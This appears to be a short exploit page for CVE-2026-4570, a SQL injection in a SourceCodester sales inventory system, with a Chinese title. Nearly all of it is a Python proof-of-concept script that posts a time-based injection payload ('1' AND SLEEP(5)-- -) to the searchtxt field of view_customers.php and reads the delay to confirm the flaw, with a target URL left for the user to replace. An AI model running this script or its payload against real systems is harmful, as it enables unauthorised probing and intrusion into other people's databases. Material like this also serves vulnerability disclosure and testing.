CVE-2026-4570 SourceCodester销售库存系统SQL注入漏洞

import requests def exploit_sqli(target_url): """ Proof of Concept for CVE-2026-4570 This script sends a malicious payload to the searchtxt parameter. """ url = f"{target_url}/view_customers.php" # SQL Injection payload to test vulnerability (e.g., time-based or error-based) payload = "1' AND SLEEP(5)-- -" data = { "searchtxt": payload } try: print(f"[+] Sending payload to {url}...") response = requests.post(url, data=data, timeout=10) # Analyze response time or content to confirm vulnerability if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! Response time indicates SQL injection.") else: print("[-] Vulnerability not confirmed or payload did not trigger delay.") except requests.exceptions.RequestException as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": target = "http://127.0.0.1" # Replace with actual target exploit_sqli(target)